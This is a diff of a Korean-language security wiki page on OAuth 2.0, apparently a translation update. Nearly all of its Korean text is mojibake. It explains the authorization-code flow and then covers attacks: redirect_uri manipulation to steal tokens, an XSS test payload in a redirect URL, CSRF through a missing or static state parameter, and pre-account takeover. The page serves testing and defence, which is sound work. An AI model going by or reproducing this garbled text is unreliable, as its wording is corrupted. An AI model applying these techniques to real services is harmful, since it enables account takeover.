์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋…ผ์˜๋Š” ์ฃผ๋กœ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)์— ์ค‘์ ์„ ๋‘๋ฉฐ, **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ์ธ์ฆ ํ”„๋ ˆ์ž„์›Œํฌ**๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -๊ฐ€์ƒ์˜ ์›น์‚ฌ์ดํŠธ _**https://example.com**_์„ ๊ณ ๋ คํ•ด ๋ณด์‹ญ์‹œ์˜ค. ์ด ์‚ฌ์ดํŠธ๋Š” **๋ชจ๋“  ์†Œ์…œ ๋ฏธ๋””์–ด ๊ฒŒ์‹œ๋ฌผ์„ ๋ณด์—ฌ์ฃผ๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค**, ๊ฐœ์ธ ๊ฒŒ์‹œ๋ฌผ๋„ ํฌํ•จํ•˜์—ฌ. ์ด๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด OAuth 2.0์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. _https://example.com_์€ **์†Œ์…œ ๋ฏธ๋””์–ด ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ**์„ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ _https://socialmedia.com_์—์„œ **์š”์ฒญ๋œ ๊ถŒํ•œ๊ณผ ์š”์ฒญํ•˜๋Š” ๊ฐœ๋ฐœ์ž**๋ฅผ ์„ค๋ช…ํ•˜๋Š” ๋™์˜ ํ™”๋ฉด์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜์˜ ์Šน์ธ์ด ์ด๋ฃจ์–ด์ง€๋ฉด, _https://example.com_์€ **๊ท€ํ•˜๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ**์„ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. +๊ฐ€์ƒ์˜ ์›น์‚ฌ์ดํŠธ _**https://example.com**_์„ ๊ณ ๋ คํ•ด ๋ณด์‹ญ์‹œ์˜ค. ์ด ์‚ฌ์ดํŠธ๋Š” **๋ชจ๋“  ์†Œ์…œ ๋ฏธ๋””์–ด ๊ฒŒ์‹œ๋ฌผ์„ ๋ณด์—ฌ์ฃผ๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค**, ๊ฐœ์ธ ๊ฒŒ์‹œ๋ฌผ๋„ ํฌํ•จํ•˜์—ฌ. ์ด๋ฅผ ์œ„ํ•ด OAuth 2.0์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. _https://example.com_์€ **์†Œ์…œ ๋ฏธ๋””์–ด ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ**์„ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ _https://socialmedia.com_์—์„œ **์š”์ฒญ๋œ ๊ถŒํ•œ๊ณผ ์š”์ฒญํ•˜๋Š” ๊ฐœ๋ฐœ์ž**๋ฅผ ์„ค๋ช…ํ•˜๋Š” ๋™์˜ ํ™”๋ฉด์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜์˜ ์Šน์ธ์ด ์ด๋ฃจ์–ด์ง€๋ฉด, _https://example.com_์€ **๊ท€ํ•˜๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค**. OAuth 2.0 ํ”„๋ ˆ์ž„์›Œํฌ ๋‚ด์—์„œ ๋‹ค์Œ ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค: -- **resource owner**: ๊ท€ํ•˜, ์ฆ‰ **์‚ฌ์šฉ์ž/์—”ํ‹ฐํ‹ฐ**๋กœ์„œ ์†Œ์…œ ๋ฏธ๋””์–ด ๊ณ„์ • ๊ฒŒ์‹œ๋ฌผ๊ณผ ๊ฐ™์€ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์Šน์ธํ•ฉ๋‹ˆ๋‹ค. -- **resource server**: **๋ฆฌ์†Œ์Šค ์†Œ์œ ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ `access token`์„ ํ™•๋ณดํ•œ ํ›„ ์ธ์ฆ๋œ ์š”์ฒญ์„ ๊ด€๋ฆฌํ•˜๋Š” ์„œ๋ฒ„**, ์˜ˆ: **https://socialmedia.com**. -- **client application**: **๋ฆฌ์†Œ์Šค ์†Œ์œ ์ž๋กœ๋ถ€ํ„ฐ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**, ์˜ˆ: **https://example.com**. -- **authorization server**: **๋ฆฌ์†Œ์Šค ์†Œ์œ ์ž์˜ ์„ฑ๊ณต์ ์ธ ์ธ์ฆ ํ›„ `client application`์— `access tokens`๋ฅผ ๋ฐœ๊ธ‰ํ•˜๋Š” ์„œ๋ฒ„**, ์˜ˆ: **https://socialmedia.com**. +- **resource owner**: ๊ท€ํ•˜, ์ฆ‰ **์‚ฌ์šฉ์ž/์—”ํ‹ฐํ‹ฐ**๊ฐ€ ์†Œ์…œ ๋ฏธ๋””์–ด ๊ณ„์ • ๊ฒŒ์‹œ๋ฌผ๊ณผ ๊ฐ™์€ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์Šน์ธํ•ฉ๋‹ˆ๋‹ค. +- **resource server**: **resource owner**๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ `access token`์„ ํ™•๋ณดํ•œ ํ›„ ์ธ์ฆ๋œ ์š”์ฒญ์„ ๊ด€๋ฆฌํ•˜๋Š” **์„œ๋ฒ„**, ์˜ˆ: **https://socialmedia.com**. +- **client application**: `resource owner`๋กœ๋ถ€ํ„ฐ ์Šน์ธ์„ ์š”์ฒญํ•˜๋Š” **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**, ์˜ˆ: **https://example.com**. +- **authorization server**: `resource owner`์˜ ์„ฑ๊ณต์ ์ธ ์ธ์ฆ ํ›„ `client application`์— `access tokens`๋ฅผ ๋ฐœ๊ธ‰ํ•˜๋Š” **์„œ๋ฒ„**, ์˜ˆ: **https://socialmedia.com**. - **client_id**: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ณต๊ฐœ ๊ณ ์œ  ์‹๋ณ„์ž. - **client_secret:** ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์ธ์ฆ ์„œ๋ฒ„๋งŒ ์•Œ๊ณ  ์žˆ๋Š” ๋น„๋ฐ€ ํ‚ค๋กœ, `access_tokens` ์ƒ์„ฑ์„ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. - **response_type**: **์š”์ฒญ๋œ ํ† ํฐ์˜ ์œ ํ˜•**์„ ์ง€์ •ํ•˜๋Š” ๊ฐ’, ์˜ˆ: `code`. - **scope**: `client application`์ด `resource owner`๋กœ๋ถ€ํ„ฐ ์š”์ฒญํ•˜๋Š” **์ ‘๊ทผ ์ˆ˜์ค€**. -- **redirect_uri**: **์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆ ํ›„ ๋ฆฌ๋””๋ ‰์…˜๋˜๋Š” URL**. ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์ „ ๋“ฑ๋ก๋œ ๋ฆฌ๋””๋ ‰์…˜ URL๊ณผ ์ผ์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- **state**: **์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆ ์„œ๋ฒ„๋กœ ์ด๋™ํ•˜๊ณ  ๋Œ์•„์˜ฌ ๋•Œ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜**. ๊ณ ์œ ์„ฑ์ด **CSRF ๋ณดํ˜ธ ๋ฉ”์ปค๋‹ˆ์ฆ˜**์œผ๋กœ ์ž‘์šฉํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. -- **grant_type**: **๋ถ€์—ฌ ์œ ํ˜•๊ณผ ๋ฐ˜ํ™˜๋  ํ† ํฐ ์œ ํ˜•**์„ ๋‚˜ํƒ€๋‚ด๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜. -- **code**: `authorization server`์—์„œ ๋ฐ›์€ ์ธ์ฆ ์ฝ”๋“œ๋กœ, `client application`์ด `access_token`์„ ์–ป๊ธฐ ์œ„ํ•ด `client_id` ๋ฐ `client_secret`๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -- **access_token**: **๋ฆฌ์†Œ์Šค ์†Œ์œ ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ API ์š”์ฒญ์„ ์œ„ํ•ด client application์ด ์‚ฌ์šฉํ•˜๋Š” ํ† ํฐ**. +- **redirect_uri**: **์‚ฌ์šฉ์ž๊ฐ€ ์Šน์ธ ํ›„ ๋ฆฌ๋””๋ ‰์…˜๋˜๋Š” URL**. ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์ „ ๋“ฑ๋ก๋œ ๋ฆฌ๋””๋ ‰์…˜ URL๊ณผ ์ผ์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +- **state**: **์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆ ์„œ๋ฒ„๋กœ์˜ ๋ฆฌ๋””๋ ‰์…˜ ๊ฐ„์— ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜**. ๊ณ ์œ ์„ฑ์ด **CSRF ๋ณดํ˜ธ ๋ฉ”์ปค๋‹ˆ์ฆ˜**์œผ๋กœ์„œ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. +- **grant_type**: **๋ถ€์—ฌ ์œ ํ˜• ๋ฐ ๋ฐ˜ํ™˜๋  ํ† ํฐ ์œ ํ˜•**์„ ๋‚˜ํƒ€๋‚ด๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜. +- **code**: `authorization server`์—์„œ ๋ฐœ๊ธ‰๋œ ์ธ์ฆ ์ฝ”๋“œ๋กœ, `client application`์ด `access_token`์„ ํš๋“ํ•˜๊ธฐ ์œ„ํ•ด `client_id` ๋ฐ `client_secret`๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +- **access_token**: **client application์ด `resource owner`๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ API ์š”์ฒญ์— ์‚ฌ์šฉํ•˜๋Š” ํ† ํฐ**. - **refresh_token**: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **์‚ฌ์šฉ์ž์—๊ฒŒ ๋‹ค์‹œ ์š”์ฒญํ•˜์ง€ ์•Š๊ณ  ์ƒˆ๋กœ์šด `access_token`์„ ์–ป์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค**. ### Flow @@ -30,7 +30,7 @@ OAuth 2.0 ํ”„๋ ˆ์ž„์›Œํฌ ๋‚ด์—์„œ ๋‹ค์Œ ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด **์‹ค์ œ OAuth ํ๋ฆ„**์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค: 1. ๊ท€ํ•˜๋Š” [https://example.com](https://example.com)์œผ๋กœ ์ด๋™ํ•˜์—ฌ โ€œ์†Œ์…œ ๋ฏธ๋””์–ด์™€ ํ†ตํ•ฉโ€ ๋ฒ„ํŠผ์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค. -2. ์‚ฌ์ดํŠธ๋Š” ๊ท€ํ•˜์˜ ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด https://example.com์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋Š” [https://socialmedia.com](https://socialmedia.com)์œผ๋กœ ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: +2. ์‚ฌ์ดํŠธ๋Š” ๊ท€ํ•˜์˜ ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด https://example.com์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ท€ํ•˜์˜ ์Šน์ธ์„ ์š”์ฒญํ•˜๋Š” [https://socialmedia.com](https://socialmedia.com)์œผ๋กœ ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: ``` https://socialmedia.com/auth ?response_type=code @@ -40,11 +40,11 @@ https://socialmedia.com/auth &state=randomString123 ``` 3. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋™์˜ ํŽ˜์ด์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. -4. ๊ท€ํ•˜์˜ ์Šน์ธ์ด ์žˆ์œผ๋ฉด, Social Media๋Š” `redirect_uri`์— `code`์™€ `state` ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•œ ์‘๋‹ต์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค: +4. ๊ท€ํ•˜์˜ ์Šน์ธ์ด ์žˆ์œผ๋ฉด, ์†Œ์…œ ๋ฏธ๋””์–ด๋Š” `redirect_uri`์— `code`์™€ `state` ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•œ ์‘๋‹ต์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค: ``` https://example.com?code=uniqueCode123&state=randomString123 ``` -5. https://example.com์€ ์ด `code`์™€ ํ•จ๊ป˜ `client_id` ๋ฐ `client_secret`์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„ ์ธก ์š”์ฒญ์„ ๋งŒ๋“ค์–ด ๊ท€ํ•˜๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ `access_token`์„ ์–ป๊ณ , ๊ท€ํ•˜๊ฐ€ ๋™์˜ํ•œ ๊ถŒํ•œ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค: +5. https://example.com์€ ์ด `code`์™€ ํ•จ๊ป˜ `client_id` ๋ฐ `client_secret`์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„ ์ธก ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ๊ท€ํ•˜๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ `access_token`์„ ์–ป๊ณ , ๊ท€ํ•˜๊ฐ€ ๋™์˜ํ•œ ๊ถŒํ•œ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค: ``` POST /oauth/access_token Host: socialmedia.com @@ -60,19 +60,19 @@ Host: socialmedia.com ์•…์šฉ ๊ธฐ์ˆ ์€ ์ธ์ฆ ์„œ๋ฒ„์˜ ๊ฒ€์ฆ ๋…ผ๋ฆฌ์— ๋”ฐ๋ผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ์ด๋Š” ์—„๊ฒฉํ•œ ๊ฒฝ๋กœ ์ผ์น˜์—์„œ ์ง€์ •๋œ ๋„๋ฉ”์ธ ๋˜๋Š” ํ•˜์œ„ ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์˜ ๋ชจ๋“  URL์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ๊นŒ์ง€ ๋‹ค์–‘ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์•…์šฉ ๋ฐฉ๋ฒ•์—๋Š” ์˜คํ”ˆ ๋ฆฌ๋””๋ ‰์…˜, ๊ฒฝ๋กœ ํƒ์ƒ‰, ์•ฝํ•œ ์ •๊ทœ ํ‘œํ˜„์‹ ์•…์šฉ, ํ† ํฐ ํƒˆ์ทจ๋ฅผ ์œ„ํ•œ HTML ์ฃผ์ž…์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. -`redirect_uri` ์™ธ์—๋„ `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`์™€ ๊ฐ™์€ ๋‹ค๋ฅธ OAuth ๋ฐ OpenID ๋งค๊ฐœ๋ณ€์ˆ˜๋„ ๋ฆฌ๋””๋ ‰์…˜ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ์„ ํƒ ์‚ฌํ•ญ์ด๋ฉฐ ์„œ๋ฒ„๋งˆ๋‹ค ์ง€์›์ด ๋‹ค๋ฆ…๋‹ˆ๋‹ค. +`redirect_uri` ์™ธ์—๋„ `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`์™€ ๊ฐ™์€ ๋‹ค๋ฅธ OAuth ๋ฐ OpenID ๋งค๊ฐœ๋ณ€์ˆ˜๋„ ๋ฆฌ๋””๋ ‰์…˜ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ์„ ํƒ ์‚ฌํ•ญ์ด๋ฉฐ, ์„œ๋ฒ„๋งˆ๋‹ค ์ง€์› ์—ฌ๋ถ€๊ฐ€ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. -OpenID ์„œ๋ฒ„๋ฅผ ๋ชฉํ‘œ๋กœ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋ฐœ๊ฒฌ ์—”๋“œํฌ์ธํŠธ(`**.well-known/openid-configuration**`)๋Š” ์ข…์ข… `registration_endpoint`, `request_uri_parameter_supported`, ๋ฐ "`require_request_uri_registration`"๊ณผ ๊ฐ™์€ ์œ ์šฉํ•œ ๊ตฌ์„ฑ ์„ธ๋ถ€์ •๋ณด๋ฅผ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ธ๋ถ€์ •๋ณด๋Š” ๋“ฑ๋ก ์—”๋“œํฌ์ธํŠธ ๋ฐ ์„œ๋ฒ„์˜ ๊ธฐํƒ€ ๊ตฌ์„ฑ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +OpenID ์„œ๋ฒ„๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋ฐœ๊ฒฌ ์—”๋“œํฌ์ธํŠธ(`**.well-known/openid-configuration**`)๋Š” ์ข…์ข… `registration_endpoint`, `request_uri_parameter_supported`, ๋ฐ "`require_request_uri_registration`"๊ณผ ๊ฐ™์€ ์œ ์šฉํ•œ ๊ตฌ์„ฑ ์„ธ๋ถ€์ •๋ณด๋ฅผ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ธ๋ถ€์ •๋ณด๋Š” ๋“ฑ๋ก ์—”๋“œํฌ์ธํŠธ ๋ฐ ์„œ๋ฒ„์˜ ๊ธฐํƒ€ ๊ตฌ์„ฑ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ๋ฆฌ๋””๋ ‰์…˜ ๊ตฌํ˜„์˜ XSS -์ด ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ๋ณด๊ณ ์„œ [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html)์—์„œ ์–ธ๊ธ‰๋œ ๋ฐ”์™€ ๊ฐ™์ด, ๋ฆฌ๋””๋ ‰์…˜ **URL์ด ์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆํ•œ ํ›„ ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋ฐ˜์˜๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ**, **XSS์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅํ•œ ํŽ˜์ด๋กœ๋“œ: +์ด ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ๋ณด๊ณ ์„œ์—์„œ ์–ธ๊ธ‰๋œ ๋ฐ”์™€ ๊ฐ™์ด [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) ๋ฆฌ๋””๋ ‰์…˜ **URL์ด ์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆํ•œ ํ›„ ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋ฐ˜์˜๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ**, **XSS์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅํ•œ ํŽ˜์ด๋กœ๋“œ: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` ### CSRF - ์ƒํƒœ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋ถ€์ ์ ˆํ•œ ์ฒ˜๋ฆฌ -OAuth ๊ตฌํ˜„์—์„œ **`state` ๋งค๊ฐœ๋ณ€์ˆ˜**์˜ ์˜ค์šฉ ๋˜๋Š” ๋ˆ„๋ฝ์€ **๊ต์ฐจ ์‚ฌ์ดํŠธ ์š”์ฒญ ์œ„์กฐ(CSRF)** ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์„ ํฌ๊ฒŒ ์ฆ๊ฐ€์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ `state` ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ **์‚ฌ์šฉ๋˜์ง€ ์•Š๊ฑฐ๋‚˜, ์ •์  ๊ฐ’์œผ๋กœ ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜, ์ œ๋Œ€๋กœ ๊ฒ€์ฆ๋˜์ง€ ์•Š์„ ๋•Œ** ๋ฐœ์ƒํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ CSRF ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. +OAuth ๊ตฌํ˜„์—์„œ **`state` ๋งค๊ฐœ๋ณ€์ˆ˜**์˜ ์˜ค์šฉ ๋˜๋Š” ๋ˆ„๋ฝ์€ **๊ต์ฐจ ์‚ฌ์ดํŠธ ์š”์ฒญ ์œ„์กฐ(CSRF)** ๊ณต๊ฒฉ์˜ ์œ„ํ—˜์„ ํฌ๊ฒŒ ์ฆ๊ฐ€์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ `state` ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ **์‚ฌ์šฉ๋˜์ง€ ์•Š๊ฑฐ๋‚˜, ์ •์  ๊ฐ’์œผ๋กœ ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜, ์ ์ ˆํ•˜๊ฒŒ ๊ฒ€์ฆ๋˜์ง€ ์•Š์„ ๋•Œ** ๋ฐœ์ƒํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ CSRF ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์ด์šฉํ•ด ์ธ์ฆ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ€๋กœ์ฑ„์–ด ์ž์‹ ์˜ ๊ณ„์ •์„ ํ”ผํ•ด์ž์˜ ๊ณ„์ •๊ณผ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ž ์žฌ์ ์ธ **๊ณ„์ • ํƒˆ์ทจ**๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” OAuth๊ฐ€ **์ธ์ฆ ๋ชฉ์ ์œผ๋กœ** ์‚ฌ์šฉ๋˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํŠนํžˆ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. @@ -82,14 +82,14 @@ OAuth ๊ตฌํ˜„์—์„œ **`state` ๋งค๊ฐœ๋ณ€์ˆ˜**์˜ ์˜ค์šฉ ๋˜๋Š” ๋ˆ„๋ฝ์€ **๊ต์ฐจ ### ๊ณ„์ • ํƒˆ์ทจ ์ „ -1. **๊ณ„์ • ์ƒ์„ฑ ์‹œ ์ด๋ฉ”์ผ ๊ฒ€์ฆ ์—†์Œ**: ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ์ด๋ฉ”์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏธ๋ฆฌ ๊ณ„์ •์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ ํ”ผํ•ด์ž๊ฐ€ ๋กœ๊ทธ์ธ ์‹œ ์ œ3์ž ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ด ์ œ3์ž ๊ณ„์ •์„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฏธ๋ฆฌ ์ƒ์„ฑํ•œ ๊ณ„์ •์— ์šฐ์—ฐํžˆ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์–ด ๋ฌด๋‹จ ์ ‘๊ทผ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +1. **๊ณ„์ • ์ƒ์„ฑ ์‹œ ์ด๋ฉ”์ผ ๊ฒ€์ฆ ์—†์ด**: ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ์ด๋ฉ”์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏธ๋ฆฌ ๊ณ„์ •์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ ํ”ผํ•ด์ž๊ฐ€ ์ œ3์ž ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ด ๋กœ๊ทธ์ธํ•  ๊ฒฝ์šฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ด ์ œ3์ž ๊ณ„์ •์„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฏธ๋ฆฌ ์ƒ์„ฑํ•œ ๊ณ„์ •์— ์šฐ์—ฐํžˆ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์–ด ๋ฌด๋‹จ ์ ‘๊ทผ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 2. **๋А์Šจํ•œ OAuth ์ด๋ฉ”์ผ ๊ฒ€์ฆ ์•…์šฉ**: 